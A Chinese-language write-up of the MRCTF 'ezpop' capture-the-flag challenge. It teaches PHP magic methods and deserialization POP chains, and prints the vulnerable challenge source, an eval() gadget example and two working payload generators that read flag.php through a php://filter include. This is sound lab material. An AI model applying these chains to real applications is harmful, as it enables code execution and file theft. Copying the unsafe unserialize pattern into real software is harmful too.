复现地址:BUUCTF平台
题目:MRCTF-ezpop
__construct():具有构造函数的类在创建新对象时,回调用此方法
__destruct():在对象所有引用都被删除或者对象被销毁时执行
__wakeup():使用unserialize()函数时调用
__sleep():使用serialize()函数时调用
__toString():把类当作字符串时调用,一般在echo和print时才能生效
__invoke():当尝试以调用函数的方式调用对象时,就会调用方法
__set():在给不可访问(protected 或 private)或不存在的属性赋值时, 会被调用
__get():读取不可访问(protected 或 private)或不存在的属性的值时,会被调用
__isset():当对不可访问(protected 或 private)或不存在的属性调用 isset() 或 empty() 时,会被调用
__unset():当对不可访问(protected 或 private)或不存在的属性调用 unset() 时,会被调用
__call():在对象中调用一个不可访问方法时,__call() 会被调用
__callStatic():在静态上下文中调用一个不可访问方法时,__callStatic() 会被调用。
// Declare a simple class
class TestClass
{
public $foo;
public function __construct($foo)
{
$this->foo = $foo;
}
public function __toString() {
return $this->foo;
}
}
$class = new TestClass('Hello');
echo $class;
?>
当class对象被echo时,就会输出调用此方法
注意:PHP 5.2.0 之前,__toString() 方法只有在直接使用于 echo 或 print 时才能生效。PHP 5.2.0 之后,则可以在任何字符串环境生效(例如通过 printf(),使用 %s 修饰符),但不能用于非字符串环境(如使用 %d 修饰符)。
class CallableClass
{
function __invoke($x) {
var_dump($x);
}
}
$obj = new CallableClass;
$obj(5);
var_dump(is_callable($obj));
?>
输出:int(5)
bool(true)
class MethodTest
{
public function __call($name, $arguments)
{
// 注意: $name 的值区分大小写
echo "Calling object method '$name' "
. implode(', ', $arguments). "\n";
}
public static function __callStatic($name, $arguments)
{
// 注意: $name 的值区分大小写
echo "Calling static method '$name' "
. implode(', ', $arguments). "\n";
}
}
$obj = new MethodTest;
$obj->runTest('in object context');
MethodTest::runTest('in static context');
?>
输出
Calling object method 'runTest' in object context
Calling static method 'runTest' in static context
反序列化可以去控制类的属性和方法,所以通过反序列化可以改变程序原本的意思
pop链的利用
一般简单的反序列化都是魔法函数中出现的一些利用的漏洞,因为自动去调用魔法方法而产生漏洞,但如果关键代码不在魔术方法中,而在一个类的一个普通方法中,则需要通过寻找相同的函数名将类的属性和敏感函数连接起来
class lemon {
protected $ClassObj;
function __construct() {
$this->ClassObj = new normal();
}
function __destruct() {
$this->ClassObj->action();
}
}
class normal {
function action() {
echo "hello";
}
}
class evil {
private $data;
function action() {
eval($this->data);
}
}
unserialize($_GET['d']);
lemon这个类原本是调用,normal类的,但是现在需要调用evil中的eval实现命令执行。而action方法在evil类里面也有,所以可以构造pop链,调用evil类中的action方法,从而实现命令执行。
payload
class lemon {
protected $ClassObj;
function __construct() {
$this->ClassObj = new evil();
}
}
class evil {
private $data = "phpinfo();";
}
echo urlencode(serialize(new lemon()));
注意protected和private属性的处理。
源码
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5
%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."
";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
我们逆向分析,需要调用Modifier中的include函数,实现对flag.php的包含
采用php://filter/read=convert.base64-encode/resource=flag.php
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
需要append函数,就要__invoke函数,当我们尝试将对象调用为函数时,就会自动包含$var,所以也要对$var进行处理
Test类,看到__get(),当我们访问不可访问的属性时,就会调用__get()方法中的$p,这时,我们可以使用$p来引入Modifier类
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
怎么才可以实现访问不可访问的属性呢?
Show类
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."
";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
show中__toString()属性,可以访问自身属性str的source。
所以我们使用show中的str属性来new一个Test类,而Test类没有source属性,就可以达到__get()方法的实现。
关键代码:return $this->str->source;
那么我们new的Test就会以函数的方式调用 p 那 么 如 果 p那么如果 p那么如果p又是一个Modifier类,就会自动包含$var指向的页面。
class Modifier {
protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __get($key){
$function = $this->p;
return $function();
}
}
$pop = new Show;
$pop->source = new Show;
$pop->source->str = new Test;
$pop->source->str->p = new Modifier;
echo urlencode(serialize($poc));
$pop->source = new Show;
//为什么要new show两次?
//触发__toString(),source被第一层show当作字符串,于是访问source->str->source,也就是Test里面的source(不存在),触发__get
还有个payload,y4爷的
ini_set('memory_limit','-1');
class Modifier {
protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}
class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
$this->str = new Test();
}
}
class Test{
public $p;
public function __construct(){
$this->p = new Modifier();
}
}
$a = new Show('aaa');
$a = new Show($a);
echo urlencode(serialize($a));